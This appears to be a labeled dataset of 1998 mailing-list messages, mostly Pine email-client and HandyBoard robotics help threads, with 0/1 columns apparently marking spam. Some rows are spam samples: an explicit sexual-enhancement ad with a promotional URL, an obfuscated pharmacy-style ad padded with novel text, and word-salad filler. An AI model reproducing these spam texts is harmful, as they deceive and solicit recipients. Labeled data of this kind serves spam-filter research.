helps? :-) Ed -- Edward M. Greshko Technical Manager, Electronic Commerce GSM: +65-975-10860 Control Data Asia/Pacific Region PGPKey-ID:CA3AFA5D Fingerprint: 2DE6 5527 144E D1BC 3C55 9FA5 518E 52EE ",0,0 Drachen ,Pine Discussion Forum ,"Mon, 26 Jan 1998 08:15:41 -0800",Re: HELP,"A. get a second email address at your isp or through hotmail or juno or one of the other places that offer free email. B. set up a mua to get your mail. if you choose pine, then we can probably help you with that, if not, then you'll have to find an appropriate place to ask questions about your mua. Vinnie -- drachen@eni.net System Administrator Epoch Internet ""Connecting The World, One Business At A Time...... By Caring About A Customers Success"" abuse@eni.net Spam Patrol On Sun, 25 Jan 1998, bslq wrote: > How do I get a second e-mail address on my computer? I want to separate > my mail from the mail of others in my household. Help! Help! Help! > -tasha > > ",0,0 Drachen ,Pine Discussion Forum ,"Mon, 26 Jan 1998 08:14:06 -0800",Re: transfer of messages,"if you mean you want them saved automatically, then listen to what robin said about procmail if you want to save them by hand (ie. read one and then save it to whichever folder you feel is pertanent) then while reading the message type the foldernames are case sensitive vinnie -- drachen@eni.net System Administrator Epoch Internet ""Connecting The World, One Business At A Time...... By Caring About A Customers Success"" abuse@eni.net Spam Patrol On Sun, 25 Jan 1998, Amit Bhave wrote: > hi, > i have made several folders in my login (apart from the usual ones like > inbox, sent mail etc.) and would like to transfer certain messages to > these folders. could you tell me how to go about doing this using pine ? > thanks, > > amit bhave > (xlri - jamshedpur, india) > > _____ > (~._.~) > ( Y ) > ()_*_() > (_)-(_) > > >",0,0 Drachen ,Pine Discussion Forum ,"Mon, 26 Jan 1998 08:15:51 -0800",Re: help!,"in pine, that is. -- drachen@eni.net System Administrator Epoch Internet ""Connecting The World, One Business At A Time...... By Caring About A Customers Success"" abuse@eni.net Spam Patrol On Sun, 25 Jan 1998, Erin Kahler wrote: > > I need to print files to my local PC printer, but cannot find the commands > to accomplish this. Can you please help? > > Sincerely, > > Erin Kahler > ekahler@utk.edu > > > >",0,0 Vince Fong ,handyboard@media.mit.edu,"Mon, 26 Jan 1998 09:05:58 -0500",SPI routine for EEPROM,"Application note on hooking up a EEPROM to the Finger Board SPI port. EAS-AN001 This also applies to the Handy Board SPI port. Very useful for datalogging and data table lookups without having to use up core memory. Embedded Acquisition Systems 1565 Shrader Street San Francisco, CA 94117 WEB http://www.hooked.net/~jfong EMAIL jfong@hooked.net ",0,1 """Richard S. Huntrods"" ",HandyBoard ,"Mon, 26 Jan 1998 07:47:22 -0700",Simple Assembler Programs,"Hello! Does anyone have some simple assembler programs that can be used to test the operation of the handyboard? For example, an assembler program that beeps the piezzo ""speaker"", or one that blinks some of the LEDs. Anything would be most helpful at this point. Thank you. -Richard ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Mon, 26 Jan 1998 16:42:47 -0000",Re: help!,"Read the FAQ which can be found on the Pine website. Robin @britisch kezboards suck@ Socha -- My header is probably broken. My reply address is robin@franck.pc.uni-koeln.de ",0,0 rayw ,Pine Discussion Forum ,"Mon, 26 Jan 1998 14:29:41 -0500",,"i can not help you but i know some people that can ca 1 800 compters ] ",0,0 日本DHC化妆品 ,mailarch+pine-info@groupms.cac.washington.edu,"Mon, 26 Jan 1998 21:34:29 +0800",DHC免费化妆品火热申请中！,DHC免费化妆品火热申请中!!! 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Sincerely, Senthuran Siva ",0,0 Deborah Frazer ,suresh@robotics.stanford.edu,"Mon, 26 Jan 1998 11:18:54 -0500",revilatizes your hair/nail growth,", monk the curiosity in abstruse in altern be football ",1,0 Jonathan Swaby ,"richard.huntrods@sait.ab.ca, HandyBoard ","Mon, 26 Jan 1998 16:11:21 -0500",Re: Simple Assembler Programs,"Try this url for a test program. http://www.ultranet.com/~jhorvath/mbtest.shtml I have not tried the program myself, so I can't tell you anything about it. At 07:47 AM 1/26/98 -0700, Richard S. Huntrods wrote: >Hello! > >Does anyone have some simple assembler programs that can be used to test >the operation of the handyboard? For example, an assembler program that >beeps the piezzo ""speaker"", or one that blinks some of the LEDs. >Anything would be most helpful at this point. > >Thank you. > >-Richard > > ___________________________________________________________ ______________________________________________________ Jonathan Swaby 305 Sparks Bldg Computer Support Specialist 814-865-0693 Penn State University mailto:jfs10@psu.edu Department of Speech Communication http://cac.psu.edu/~jfs10 Department of Philosophy ______________________________________________________ ______ ",0,1 solmac ,Pine Discussion Forum ,"Wed, 21 Jan 1998 12:42:34 +0530",ms-tnef attachment,"Hello , We can not read the ms-tnef attachment. Pls tell us something in this area. Regards, Solmac Pvt. Ltd, India. ",0,0 Norbert Koch ,Pine Discussion Forum ,"Tue, 27 Jan 1998 07:08:30 +0100",Re: report bug,">>>On Mon, 26 Jan 1998 16:45:03 -0500 (), Senthuran Siva said: SS> I am sophomore at Tufts University and have recently been SS> experiencing problems with my e-mail account. For some reason, SS> next to the word inbox are the words ""READONLY"" which are in SS> parentheses. Also, read messages are no longer automatically SS> transferred to my saved messages folder when I exit pine. Please SS> get back to me as to how I can rectify this situation. Hmm, READONLY is exactly what we would think of: you have only read permission on your inbox file. This is why messages aren't transferred, as I understand it, because this includes, afaik, a delete operation on the inbox file. Inbox is set READONLY by pine, if another process is locking the file. Therefore, look whether another pine process (or any other mua pointing to the same file) is still running (task manager ...) or check lock files that might have been left because of an unwanted (:-)) exit from pine. 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Thanks ___________________________________________________________ ______________________________________________________ Jonathan Swaby 305 Sparks Bldg Computer Support Specialist 814-865-0693 Penn State University mailto:jfs10@psu.edu Department of Speech Communication http://cac.psu.edu/~jfs10 Department of Philosophy ______________________________________________________ ______ ",0,1 """Douglas O. Fuller"" ",Pine Discussion Forum ,"Tue, 27 Jan 1998 12:42:43 -0500",Technical questions," How do I auto forward messages to another email address using Pine? And, can I write a message that all senders will receive that informs them I'm temporarily unable to access my GWIS2 account? Sincerely, D.O. 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In the HandyBoard FAQ under the question: ""Does the Handy Board have any digital outputs?"", the following instructions are included: * d0..d7 is the data bus and stuff is flying around on those pins all the time, * so they cannot be used as outputs. If you hook an ’hc374 chip to the board, * in the same fashion as the one driving the motor chips, you get 8 more digital * outs. Connect the ’hc374’s clock line to any of the three unused output latch * selects of the ’hc138 (Y0, Y2,or Y4). All of these signals are present on the * Expansion Bus. Has anyone done this? Does this mean that, to get the additional 8 digital outs, an 'hc374 should be connected as follows: 1. Pins 1D through 8D of 'hc374 connected to the HandyBoard's D0 through D7? 2. Pins 1Q through 8Q are now the digital outs? Is it really this simple? Should resistors or diodes be added to the circuit? How are the new outputs selected? If this is off-base, can someone expand on the instructions in the FAQ? I'd appreciate any assistance offered. Stephen ",0,0 Frank Erridge ,Pine Discussion Forum ,"Tue, 27 Jan 1998 19:52:57 -0800",Typos in E-mail text.,"Can you please help me in my quest for answers ? All of my E-mail has what looks like typos scattered though out each message, sometimes a couple of words will be repeated. I have yet to find anyone including the servers people who can explain what is wrong. I am using MS DOS and Pine 3.95, no problems with reception and the DOS does fine, I have WINDOWS 3.11 but as yet have not mastered any of this so I stay with DOS until I can find someone to help me with it. The phone company tells me that the line from the central office is clean so I am not sure what the next move is. Thankyou for any advice you can give to resolve this problem. No one else has this typo problem. Computer illiterate, yes I admit it. Best Regards, fae@diamond.sunset.net ",0,0 """Windmilling K. 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Kerman"" ",Pine Discussion Forum ,"Tue, 27 Jan 1998 22:02:17 -0600",Re: Typos in E-mail text.,">From: Frank Erridge >Date: Tue, 27 Jan 1998 19:52:57 -0800 (PST) >Can you please help me in my quest for answers ? All of my E-mail has what >looks like typos scattered though out each message, sometimes a couple of >words will be repeated. Turn off local echo in your terminal emulation. The only characters you want to see on your console are those sent back from the computer you've logged on to. If you echo those characters locally, you see them twice.",0,0 Worawit Chaipornjareansri ,Pine Discussion Forum ,"Wed, 28 Jan 1998 12:02:00 +0700",Have problem," Dear The Pine Team , I have some problem about the using PINE. Several month,I have delete the soc.culture.thai in News-collection (News onnews.netserv. chula.ac.th). I try to create this icon. I failed several time. You have method to suggest me? Sincerely yours, Worawit Chaipornjareansri. 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Try 'man vacation' and use it, if it's available or get a copy of it from the net. l8er, norbert. -- Norbert Koch a rattlesnake that doesn't bite teaches you nothing!",0,0 Norbert Koch ,Pine Discussion Forum ,"Wed, 28 Jan 1998 07:16:12 +0100",Re: text display,">>>On Tue, 27 Jan 1998 14:10:44 -0500 (EST), Arlene MacLennan said: AM> My display is set for the ""US-ASCII"" character set. When I AM> receive email in the ""ISO-8859-1"" character set some of the AM> characters are displayed incorrectly. Is there a way I can set my AM> display to read both sets of characters correctly? Thank you for AM> any suggestions Arlene This is, what I've found in the tech-notes: character-set This sets the character set used by the terminal. Currently appropriate values are US-ASCII, ISO-8859-1 through ISO-8859-9 and ISO-2022-JP. See the section on international character sets for more details. The default is US-ASCII. Since US-ASCII is a subset of ISO-88590-1 (is it?), you should have no troubles in setting the variable s(etup) c(onfig) ctrl-w(here-is) ""character-set"" enter [?(help) ... enjoy ... e(xit)] c(hange) ""ISO-8895-1"" enter e(xit) y(es) Provided your terminal is able to display the character set, you're done. hth, norbert. -- Norbert Koch a rattlesnake that doesn't bite teaches you nothing!",0,0 jjm@FormalSys.CA,Pine Discussion Forum ,"Wed, 28 Jan 1998 08:00:47 -0300",Pine and POP3 Server," All, I know this cannot be a new question, but I couldn't find it in the FAQ, manpages, tech-notes or mailing list archive. Here is my situation. I have an account on a POP3 server, mailserv.nbnet.nb.ca. The account name is fade. I'm trying to read my mail on my LINUX box locally and I want to use Pine to do it. The account I almost always log on as root to my machine (which has no domain name and no static IP, damned ppp connection.) First off, can I do this? On the assumption that I can, here is what I have tried. I downloaded a POP3 client called getpop3. All it does is open a connection to the server, sends it the username, password and the dynamic IP I have been assigned. The server creates an SMTP connection (port 25) and sends the mail. Everything is fine that way. I can read my mail okay. Now, when I choose to reply (or send new mail) I can compose it and send it without a hitch, but the message that the recipient gets is 'From' root@nbnet.nb.ca, not fade@nbnet.nb.ca. This is kind of interesting from a security point of view, but pretty annoying for just simple correspondance. The only solutions I have come up with are: 1) Create an account 'fade' on my local machine for the purpose of reading email. This is what I've done and if that is the best I can do I'll live with it. 2) Recompile Pine to allow setting the ""From: "" line in the custom headers. I tried this last night and ran into a bigger can of worms. While compiling mailindx.c the compiler received signal 6, internal compiler error it said. If it helps, I'm using gcc 2.7.2.2 with libc 5.4.33. Oh, and the Pine I'm compiling is 3.96. Personally, I'm hoping that there is some magical third option I haven't seen. Anybody have any suggestions? Thanks. Joe M. ",0,0 Aaron Kendrick ,Pine Discussion Forum ,"Wed, 28 Jan 1998 08:25:05 -0500",folder lock,"Is there anyway to unlock folders from being read only? Our server crashed over the weekend and ever since we got it up and running again, all my folders in pine say they are read only. How can I get them back to normal? Aaron Kendrick ",0,0 John Gates ,Pine Discussion Forum ,"Wed, 28 Jan 1998 08:53:30 -0800",Re: folder lock,"Not sure it's the best way, but you should be able to use the string of commands "";"" ""a"" ""a"" ""s"" etc to save all messages in a read only folder to another folder which will be a read and write folder. YOu may then delete the original folder and then rename the new folder to the old name if you wish. This worked for me in PC-Pine - I assume it will work in a Unix Pine. Or a really hard way (it's been a long time and I don't really remember correctly perhaps) is to open the folder file from outside Pine with Pico or some other editor like vi and (globally) change the ""Status:"" argument of EACH message to contain nothing (it will typically read ""Status:RO""). Are there other ways (anybody)? John Gates On Wed, 28 Jan 1998, Aaron Kendrick wrote: > Date: Wed, 28 Jan 1998 08:25:05 -0500 (EST) > From: Aaron Kendrick > To: Pine Discussion Forum > Subject: folder lock > > Is there anyway to unlock folders from being read only? Our server crashed > over the weekend and ever since we got it up and running again, all my > folders in pine say they are read only. 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The wiring is as follows (leaving out +5V and Ground): Aerial | | ________ Tx select | | _____/|_______ Tx data | \\| | | _______ Rx select | | |__|\\_______ Rx data |/ |_______ Carrier detect Which pins of the RJ11 connector, digital inputs and SPI do I need for this? I'm not very good at electronics, so any help would be very much appreciated. Thanks in advance. Greetings, Jan Sipke van der Veen ",0,0 Stephen Michael ,Thomas Hauri ,"Wed, 28 Jan 1998 08:46:51 -0700",Re: Question re hc374 Digital Out Solution,"Then if Y0, Y2, and Y4 were all used for this purpose, I assume 24 digital outputs could be realized? Cool. Thanks for the response, I'll give it a try. Stephen Thomas Hauri wrote: > Hi Stephen > > > * outs. Connect the ’hc374’s clock line to any of the three unused > > output latch > > * selects of the ’hc138 (Y0, Y2,or Y4). All of these signals are present > > on the > > * Expansion Bus. > > > > Has anyone done this? Does this mean that, to get the additional 8 > > digital outs, > > YES :)))) > > > > > > an 'hc374 should be connected as follows: > > > > 1. Pins 1D through 8D of 'hc374 connected to the HandyBoard's D0 through > > D7? > > 2. Pins 1Q through 8Q are now the digital outs? > > YES > > > Is it really this simple? Should resistors or diodes be added to the > > circuit? How > > are the new outputs selected? > > You also need to connect pin 11 (clk) to either Y0,Y2 or Y4 on the expansion > header.The now select your new outputs. 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Thanks, Tara Hahn thahn@iupui.edu ",0,0 Tim DiLauro ,Pine Discussion Forum ,"Wed, 28 Jan 1998 19:22:06 -0500",Re: max message,"On Wed, 28 Jan 1998 thahn@iupui.edu wrote: > Recently, one of my friends attempted to e-mail me a very large message > with a program for me to down-load. This never came through. Is there a > limit as to how large a message can be received? Yes, there is a limit, but it will vary depending on the path the mail takes on its way from your friend to you. Each mail transport agent (MTA) along the path can impose a size limit per mail message processed. If the mail from your friend is larger than that limit for any MTA in the path, that MTA will reject the message. -timmo Tim DiLauro Milton S. Eisenhower Library Library Systems Jack Johns Hopkins University (410) 516-5263 3400 N. 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Forgot to mention that. > > ---------- > > From: Kathleen Butler > > To: pine-info@cac.washington.edu > > Subject: PC Pine Download Problems > > Date: Wednesday, January 28, 1998 9:31 PM > > > > I have tried to download the PC Pine program and get the message > ""Internet > > explorer cannot open > http://ftp.cac.wahington.ecu/pine/pcpine/pcp_w32.zip"". > > This message appears before anything begins to download. > > > > Do you know why I am getting this error? I am very frustrated, and need > > HELP (PLEASE)!!!! > > > > Please return e-mail to butler@ipa.net. Thank you for your assistance. > > > > Kathleen Butler > > butler@ipa.net",0,1 Gonzalo ,"mailarch+pine-info@groupms.cac.washington.edu, ernestine@groupms.cac.washington.edu, jamie@groupms.cac.washington.edu, claudine@groupms.cac.washington.edu, harriet@groupms.cac.washington.edu, desiree@groupms.cac.washington.edu, brad@groupms.cac.washington.edu, lonnie@groupms.cac.washington.edu, lourdes@groupms.cac.washington.edu","Wed, 28 Dec 1994 07:47:57 +0200",message from Gonzalo," Increased sexual desire - Enhanced libido Rock hard erections - Erections like steel Multiple orgasms - Cum again and again Longer orgasms - The longest most intense orgasms of your life Ejaculate like a porn star - Stronger ejaculation (watch where your aiming) Sweeter tasting sperm - Studies show it improves the flavor Visit us: http://www.sevenhundreded.com/ bawdy you geoffrey me, cerise . walrus you wristband me, demand orthoclase anionic . tallahassee you shudder me, antipathy mcnulty jam . caress you knox me, vreeland weinstein . http://www.sevenhundreded.com/c82/ ",1,1 Talent-Management ,Pine Discussion Forum ,"Wed, 28 Jan 1998 21:59:26 -0800",Max Addressbook Size," I have experimented with the addressbook (.adr) size, and found out that at about the 1,100 address level, it won't take anymore. I don't think it counts the exact number of addresses, but I think it does count the number of bytes in the header or the BCC. Any comments? Bryan ",0,0 Norbert Koch ,Pine Discussion Forum ,"Thu, 29 Jan 1998 07:25:42 +0100",Re: PC Pine Download Problems,">>>On Wed, 28 Jan 1998 21:31:05 -0600, ""Kathleen Butler"" said: Kathleen, KB> I have tried to download the PC Pine program and get the message KB> ""Internet explorer cannot open KB> http://ftp.cac.wahington.ecu/pine/pcpine/pcp_w32.zip"". This ^ You misspelled the URL, it's edu, not ecu :-) hth, norbert. -- Norbert Koch a rattlesnake that doesn't bite teaches you nothing!",0,1 Jun Nolasco ,Jan-Sipke van der Veen ,"Wed, 28 Jan 1998 22:44:01 -0500",Re: Connecting radio module (BiM 418 F)," I have been thinking of getting a pair of those babies. How much did they cost you? Thanks. Jun Nolasco nolasco@inx.net Jan-Sipke van der Veen wrote: > Hello all, > > I would like to be able to 'drive' my robot using the Handy Board via a radio > link. For this purpose I have bought two transceivers, the Radiometrix BiM 418 > F. > > How can I connect it to my Handy Board? The wiring is as follows (leaving out > +5V and Ground): > > Aerial > | > | ________ Tx select > | | > _____/|_______ Tx data > | \\| > | > | _______ Rx select > | | > |__|\\_______ Rx data > |/ > |_______ Carrier detect > > Which pins of the RJ11 connector, digital inputs and SPI do I need for this? > > I'm not very good at electronics, so any help would be very much appreciated. > Thanks in advance. > > Greetings, > Jan Sipke van der Veen ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Wed, 28 Jan 1998 15:39:57 -0000",Re: folder lock,"Do a ""killall pine"" or kill the multiple sessions you're obviously running by saying ps ax | grep pine and then kill -9 the PID. Robin -- My header is probably broken. My reply address is robin@franck.pc.uni-koeln.de ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Wed, 28 Jan 1998 15:38:46 -0000",Re: Pine and POP3 Server,"[how to set from header] The answer is a) to recompile or b) to use qmail which will take care of the forging part. qmail's a pretty smart program, anyway. Cheers, Robin P.S. I thought pine was kinda hard to use, but MS internet mail is probably the crappiest, dumbest and most inconvenient program I've ever used. :-( -- My header is probably broken. My reply address is robin@franck.pc.uni-koeln.de ",0,0 Norbert Koch ,Pine Discussion Forum ,"Thu, 29 Jan 1998 11:47:20 +0100",Re: Pine and POP3 Server,">>>On Wed, 28 Jan 1998 15:38:46 -0000, ""Robin S. Socha"" said: Hi Robin, robin> P.S. I thought pine was kinda hard to use, but MS internet robin> mail is probably the crappiest, dumbest and most inconvenient robin> program I've ever used. :-( Oh yeah, sure - and these morons around want to put me in front of an *argh* WinBlows NT machine - they can't do this to me! Fie upon't! Foe! robin> -- My header is probably broken. My reply address is robin> robin@franck.pc.uni-koeln.de No, it looks correct to me :-) Cheers, norbert. btw, what's the weather like in London - how's life? -- Norbert Koch a rattlesnake that doesn't bite teaches you nothing!",0,0 jjm@FormalSys.CA,Pine Discussion Forum ,"Thu, 29 Jan 1998 07:44:00 -0300",Re: Pine and POP3 Server," On 01/29/98 05:51:18 AM, robin@franck.pc.uni-koeln.de wrote: >[how to set from header] > >The answer is a) to recompile or b) to use qmail which will take care of >the forging part. qmail's a pretty smart program, anyway. Hmmm. Okay. I'm also looking into the sendmail end of things, to see if I can correct the problem after Pine sends it but before it leaves the machine. Anyway, any guesses on what may be causing my re-compile problem? I don't mind going in and making some changes if I have to, but I don't want to start blidly groping through code I've never looked at before. The only error message I get is ""cc internal compiler error"" and ""received signal 6"". Is this a known problem with either my libc or gcc verions? (5.4.33 and 2.7.2.2 respectively.) I'll also take a look at qmail. Personally my mailer of choice was emacs at work until someone decided that Lotus Notes for Solaris looked pretty neat. *ack hack hack* Tragically this person seemed to be a policy maker. >P.S. I thought pine was kinda hard to use, but MS internet mail is >probably the crappiest, dumbest and most inconvenient program I've ever >used. :-( Believe me, you have my sincerest sympathies. :) J. ",0,0 Kathleen Butler ,Pine Discussion Forum ,"Thu, 29 Jan 1998 08:29:06 -0600",Fw: PC Pine Download Problems,"I realized I had two typos in my e-mail that listed the file name. I had the spelling correct when trying access the download. I am trying to access http://ftp.cac.washington.edu/pine/pcpine/pcp_w32.zip file and am receiving the message ""Internet explorer cannot access http://ftp.cac.washington.edu/pine/pcpine/pcp_w32.zip."" ---------- > From: Kathleen Butler > To: pine-infor@cac.washington.edu > Subject: Fw: PC Pine Download Problems > Date: Wednesday, January 28, 1998 9:40 PM > > Running in Windows95 environment. Forgot to mention that. > > ---------- > > From: Kathleen Butler > > To: pine-info@cac.washington.edu > > Subject: PC Pine Download Problems > > Date: Wednesday, January 28, 1998 9:31 PM > > > > I have tried to download the PC Pine program and get the message > ""Internet > > explorer cannot open > http://ftp.cac.wahington.ecu/pine/pcpine/pcp_w32.zip"". > > This message appears before anything begins to download. > > > > Do you know why I am getting this error? I am very frustrated, and need > > HELP (PLEASE)!!!! > > > > Please return e-mail to butler@ipa.net. Thank you for your assistance. > > > > Kathleen Butler > > butler@ipa.net",0,1 Cliff Green ,Pine Discussion Forum ,"Thu, 29 Jan 1998 10:06:31 -0500",Re: Max Addressbook Size,"On Wed, 28 Jan 1998, Talent-Management wrote: > > I have experimented with the addressbook (.adr) size, and found out that > at about the 1,100 address level, it won't take anymore. I don't think > it counts the exact number of addresses, but I think it does count the > number of bytes in the header or the BCC. Any comments? We have a global addressbook with 10753 addresses in it, and growing. We rebuild it from scratch with a cron job, so there's no cruft left over from earlier incarnations. How are you building yours? c -- Clifford Green Internet - green@umdnj.edu Academic Computing Services voice - 732-235-5250 UMDNJ-IST fax - 732-235-5252 ""People ask for criticism, but they only want praise."" --W. Somerset Maugham ",0,0 Elizabeth A Risser ,Pine Discussion Forum ,"Thu, 29 Jan 1998 10:31:42 -0500",Deleting e-mail,"Dear Pine, I have over 380 e-mails in my inbox and I have tried to delete some of them-They refuse to be deleted. How can I get my e-mails to be deleted? Unable to delete, Liz ",0,0 """Fred G. Martin"" ",Scott Seaton - Systems Consultant - ESG ,"Thu, 29 Jan 1998 08:38:26 -0500",Re: Congratulations (I think ????) ,"Hi Scott (& everyone), Yes, two days ago the LEGO company officially launched ""LEGO Mindstorms,"" which is a new brand and product line inspired by the MIT Programmable Brick research. Scott -- thanks for noticing, and digging up the URL . I am very excited about LEGO's deep commitment to the educational and entertainment value of kids building their own robots. The LEGO Mindstorms brand, and its flagship ""RCX"" programmable brick, is a breakthrough in bringing these ideas into the home. Fred In your message you said: > Hi Fred > > There was a short article on the news last night about a new Lego robotics > product that looked alot like the ""lego intelligent brick"" concept you were > working on last year... > > A bit of searching revealed the site http://www.legomindstorms.com/ which > mentions the MIT Media Lab. > > Is this the project that grew out of the HandyBoard (or was it the other way > around) ? > > Scott > >",0,1 Stefan Kramer ,Pine Discussion Forum ,"Thu, 29 Jan 1998 08:42:00 -0800",Re: Fw: PC Pine Download Problems,"The host from which you can download PC-Pine is an Anonymous FTP server, not a WWW server -- try: ftp://ftp.cac.washington.edu/pine/pcpine/pcp_w32.zip ---------------------------------------------------- Stefan Kramer \\|/ skramer@cac.washington.edu ---------------------------------------------------- On Thu, 29 Jan 1998, Kathleen Butler wrote: > Message-ID: <199801291422.IAA13774@dogbert.ipa.net> > From: Kathleen Butler > To: Pine Discussion Forum > Date: Thu, 29 Jan 1998 08:29:06 -0600 > Subject: Fw: PC Pine Download Problems > > I realized I had two typos in my e-mail that listed the file name. I had > the spelling correct when trying access the download. I am trying to > access http://ftp.cac.washington.edu/pine/pcpine/pcp_w32.zip file and am > receiving the message ""Internet explorer cannot access > http://ftp.cac.washington.edu/pine/pcpine/pcp_w32.zip."" > > ---------- > > From: Kathleen Butler > > To: pine-infor@cac.washington.edu > > Subject: Fw: PC Pine Download Problems > > Date: Wednesday, January 28, 1998 9:40 PM > > > > Running in Windows95 environment. Forgot to mention that. > > > > ---------- > > > From: Kathleen Butler > > > To: pine-info@cac.washington.edu > > > Subject: PC Pine Download Problems > > > Date: Wednesday, January 28, 1998 9:31 PM > > > > > > I have tried to download the PC Pine program and get the message > > ""Internet > > > explorer cannot open > > http://ftp.cac.wahington.ecu/pine/pcpine/pcp_w32.zip"". > > > This message appears before anything begins to download. > > > > > > Do you know why I am getting this error? I am very frustrated, and > need > > > HELP (PLEASE)!!!! > > > > > > Please return e-mail to butler@ipa.net. Thank you for your assistance. > > > > > > Kathleen Butler > > > butler@ipa.net >",0,1 Francois Labelle ,THEORYNT@LISTSERV.NODAK.EDU,"Thu, 29 Jan 1998 11:03:23 -0800",Graph Drawing '98 -- Call for Participation," 1st Call for PAPERS, DEMOS and POSTERS GRAPH DRAWING '98 McGill University, Montreal, Canada August 13-15, 1998 URL: http://gd98.cs.mcgill.ca email: info@gd98.cs.mcgill.ca Graph Drawing '98 (GD '98) will be held at McGill University, Montreal, Canada, August 13 - 15, 1998. The symposium is a forum for researchers, practitioners, developers and users working on all aspects of graph drawing. Continuing the tradition of GD '97 (Rome), GD '96 (Berkeley), GD '95 (Passau), and GD '94 (Princeton), the proceedings of GD '98 will be published in the Springer-Verlag Lecture Notes in Computer Science series. GD '98 follows the 10th Canadian Conference on Computational Geometry, August 10-12, 1998, held at McGill University. See http://cgm.cs.mcgill.ca/cccg98. Scope: Graph drawing studies the construction of visualizations and layouts of abstract graphs and networks. The automatic generation of drawings of graphs has important applications in key areas such as databases, software engineering, VLSI, networks, and visual interfaces as well as in fields outside computer science. The range of issues considered in graph drawing includes algorithms, graph theory, geometry, order theory, graphic languages, perception, applications and practical systems. Much research in graph drawing is motivated by applications to systems for viewing and interacting with graphs. The interaction between theoretical advances and implemented solutions is an important part of the graph drawing field. Results on perception and visualization issues related to diagrams are relevant. Call for Papers: Papers describing original research and surveys are being sought. Topics of interest include, but are not limited to: * Algorithms, models, and techniques for drawing graphs. * Applications of graph drawing to areas such as software visualization, user interface design and database query formulation. * Concepts for visualizations of structural information. * Research on perception issues related to diagram understanding. * Tools and systems for graph drawing. * Geometric and topological graph theory. Call for Demos: Submissions of demos are solicited. Areas of interest include, but are not limited to: * Visualization of graphs. * Novel graph-based software visualization and software engineering applications. * Database visualization with graphs and hypergraphs. * Programming environments for graphs and their layouts. * Algorithm animation with graphs. * User interfaces for viewing graphs, e.g., interactive exploration of large graphs, presentation of dynamic graphs. Call for Posters: Submissions of posters in graph drawing and related areas are solicited. The purpose is to provide a forum for the communication of results (which may appear elsewhere) to the graph drawing community. Graph Drawing Contest: Following the tradition of previous conferences, a graph drawing contest will be held. Details will be given in a later call for papers and at the web site. Special Issue: A special issue of the electronic Journal of Graph Algorithms and Applications will be devoted to papers presented at GD '98. Both theoretical and applied papers that in electronic form contain interactive appendices with running demos or proof animations or hyperlinks to useful references are encouraged. Details will be given in a later call for papers and at the web site. Program Committee: Chair: Sue Whitesides (McGill Univ.) Franz Brandenburg (Univ. Passau), Peter Eades (Univ. Newcastle, Australia), Emden Gansner (AT&T Labs), Michael Kaufmann (Univ. Tuebingen), Giuseppe Liotta (Univ. Rome), Anna Lubiw (Univ. Waterloo), Shin-ichi Nakano (Tohoku Univ.), Janos Pach (CUNY & NYU), Roberto Tamassia (Brown Univ.), Ioannis Tollis (Univ. Texas at Dallas), Dorothea Wagner (Univ. Konstanz) Demos: Brendan Madden (Tom Sawyer Software), Joe Marks (MERL), plus members of the program committee Organizing Committee: Therese Biedl (McGill Univ.), Prosenjit Bose (Carleton Univ.), Francois Labelle (McGill Univ.), Sylvain Lazard (McGill Univ.), Giuseppe Liotta (Univ. Rome), Steve Robbins (McGill Univ.), Sue Whitesides (McGill Univ., chair) Submission: The program committee invites submissions of papers (6 - 12 page extended abstract), demos (2 - 6 page abstract, plus descriptive screen dumps, a list of hardware needed, and optional 7 copies of VHS NTSC videos), and posters (1 page abstract). Submissions by email (in postscript or plain text) should be sent to submit@gd98.cs.mcgill.ca. A description of the electronic submission process will be made available at the above web site. Unprintable postscript and submissions not formatted for 8.5x11 inch paper risk rejection. Hard copies (12 copies) should be sent to Sue Whitesides School of Computer Science, McGill University 3480 University Street #318 Montreal, Quebec H3A 2A7, Canada Important dates: Submissions: May 1, 1998 Notification: June 15, 1998 Final version due: August 15, 1998 ------------- The compgeom mailing lists: see http://netlib.bell-labs.com/netlib/compgeom/readme.html or send mail to compgeom-request@research.bell-labs.com with the line: send readme ",0,1 Abimael Freiberg ,mailarch+pine-info@groupms.cac.washington.edu,"Thu, 29 Jan 1998 04:34:28 -0700",Re: your VAnLtUM,"Hi V P X C V A L A r a I I m e L o n A A b v I z a L G i i U a x I R e t M c S A n ra http://www.pilieryuo.com As the count grew he slowed down, and he began to get shaky and weepy; for he was leaving the water further and further behind, and he was getting afraid. Goblins might be about, and he had lost his ring. At last he stopped by a low opening, on their left as they went up. Seven right, yes. Six left, yes! he whispered. This is it. This is the way to the back-door, yes. Heres the passage! ",1,1 Brett Anthony ,handyboard@media.mit.edu,"Thu, 29 Jan 1998 08:34:45 -0800",Brennan Mair: Replacement Components,"I'm no authority, but you might get away with a 3 amp fuse in a pinch. However, the Polyswitch fuse is actually a PTC Thermistor designed to work as a sort of solid state circuit breaker. These have a variety of names; look for ""PTC fuse"", ""PTC current limiter"", PTC resettable"", or the like, listed either under ""fuse"" or ""thermistor"". You need one which will carry a current of 2.5 amps, but will shut off at a maximum of 5 amps, with a 0.2 inch lead spacing. I know of no reason why you cannot substitute for the ZTX614. Brett Anthony Research Technician School of Engineering and Computer Science California State University, Sacramento e-mail: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949 address: Brett Anthony E&CS, CSUS 6000 J St Sacramento CA 95819-6023 ",0,0 Aloss4u@aol.com,Pine Discussion Forum ,"Thu, 29 Jan 1998 15:04:17 -0500",Request For Mariah Carey Pics?,"please send me some pics please ",0,0 Drachen ,Pine Discussion Forum ,"Thu, 29 Jan 1998 12:29:35 -0800",Re: Request For Mariah Carey Pics?,"no. this is not the place to ask for them. you are not going to get them from here. -- drachen@eni.net System Administrator Epoch Internet ""Connecting The World, One Business At A Time...... By Caring About A Customers Success"" abuse@eni.net Spam Patrol On Thu, 29 Jan 1998 Aloss4u@aol.com wrote: > please send me some pics please > > ",0,0 The Traveller ,Pine Discussion Forum ,"Thu, 29 Jan 1998 15:52:18 -0500",how to reject a certain address," Hi, I have a question on how to reject from receiving a certain email from a certain address. I have been receiving this junk/abusive mail Please enlighten me.. Thanx Kahar ",0,0 Noone Special ,Pine Discussion Forum ,"Thu, 29 Jan 1998 16:47:09 -0500",Re: how to reject a certain address,"(>TT>) On Thu, 29 Jan 1998, The Traveller wrote: >TT> Hi, >TT> >TT> I have a question on how to reject from receiving a certain email >TT> from a certain address. I have been receiving this junk/abusive mail >TT> >TT> Please enlighten me.. Oh, ye seeker of deeper wisdom, hear my words and ye shall reap the blessed knowledge of the ages. Abuse not this wondrous gift from the 